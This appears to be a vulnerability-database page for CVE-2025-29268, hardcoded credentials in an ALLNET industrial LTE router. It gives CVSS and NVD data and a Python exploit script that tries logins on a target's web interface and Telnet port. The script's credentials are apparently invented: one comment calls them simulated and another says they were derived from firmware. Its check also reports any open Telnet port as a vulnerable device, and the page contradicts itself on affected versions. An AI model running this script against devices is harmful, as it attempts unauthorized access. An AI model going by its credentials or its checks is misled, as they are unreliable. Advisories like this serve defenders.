Security Vulnerability Report
中文
CVE-2025-29268 CVSS 9.8 CRITICAL

CVE-2025-29268

Published: 2025-12-04 20:16:18
Last Modified: 2025-12-16 15:56:57

Description

ALLNET ALL-RUT22GW v3.3.8 was discovered to store hardcoded credentials in the libicos.so library.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:allnet:all-rut22gw_firmware:3.3.8:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:allnet:all-rut22gw:-:*:*:*:*:*:*:* - NOT VULNERABLE
ALLNET ALL-RUT22GW < v3.3.8

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-29268 PoC - ALLNET ALL-RUT22GW Hardcoded Credentials This PoC demonstrates authentication bypass using hardcoded credentials stored in the libicos.so library. WARNING: For authorized security testing only! """ import requests import sys from urllib.parse import urljoin def extract_hardcoded_credentials(): """ Simulate extracting hardcoded credentials from libicos.so In real attack, this would involve firmware extraction and analysis: 1. Download firmware from vendor 2. Extract using binwalk 3. Analyze libicos.so for strings """ # Simulated hardcoded credentials (derived from firmware analysis) credentials = { "username": "admin", "password": "default_password_icos", "api_key": "hardcoded_api_key_12345" } return credentials def check_vulnerability(target_ip, timeout=10): """ Check if target is vulnerable to CVE-2025-29268 """ target_url = f"http://{target_ip}" try: # Test 1: Check if web interface is accessible response = requests.get(target_url, timeout=timeout) if response.status_code != 200: print(f"[-] Web interface not accessible on {target_ip}") return False # Test 2: Attempt authentication with hardcoded credentials creds = extract_hardcoded_credentials() # Try web interface login login_data = { "username": creds["username"], "password": creds["password"] } login_url = urljoin(target_url, "/cgi-bin/login.cgi") login_response = requests.post(login_url, data=login_data, timeout=timeout) if login_response.status_code == 200 and "session" in login_response.text.lower(): print(f"[+] VULNERABLE: Successfully authenticated with hardcoded credentials!") print(f"[+] Username: {creds['username']}") print(f"[+] Password: {creds['password']}") return True # Try Telnet access import socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) result = sock.connect_ex((target_ip, 23)) if result == 0: print(f"[+] Telnet port open on {target_ip}") print(f"[+] Try credentials: {creds['username']}/{creds['password']}") return True sock.close() return False except requests.RequestException as e: print(f"[-] Connection error: {e}") return False def main(): if len(sys.argv) != 2: print(f"Usage: {sys.argv[0]} <target_ip>") sys.exit(1) target = sys.argv[1] print(f"[*] Checking CVE-2025-29268 on {target}") print(f"[*] ALLNET ALL-RUT22GW Hardcoded Credentials Scanner") is_vulnerable = check_vulnerability(target) if is_vulnerable: print("\n[!] Target is VULNERABLE to CVE-2025-29268") print("[!] Immediate action required!") else: print("\n[-] Target does not appear to be vulnerable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-29268", "sourceIdentifier": "[email protected]", "published": "2025-12-04T20:16:17.683", "lastModified": "2025-12-16T15:56:56.927", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ALLNET ALL-RUT22GW v3.3.8 was discovered to store hardcoded credentials in the libicos.so library."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-798"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:allnet:all-rut22gw_firmware:3.3.8:*:*:*:*:*:*:*", "matchCriteriaId": "BF4D5144-0780-414F-9CEB-56B2617FF569"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:allnet:all-rut22gw:-:*:*:*:*:*:*:*", "matchCriteriaId": "2041A241-BCD2-4CB4-A7B1-B09A730EE926"}]}]}], "references": [{"url": "http://all-rut22gw.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "http://allnet.com", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://blog.byteray.co.uk/critical-vulnerabilities-in-rut22gw-industrial-lte-cellular-routers-f4eb8768feb7?gi=f74ff4eb9f22", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}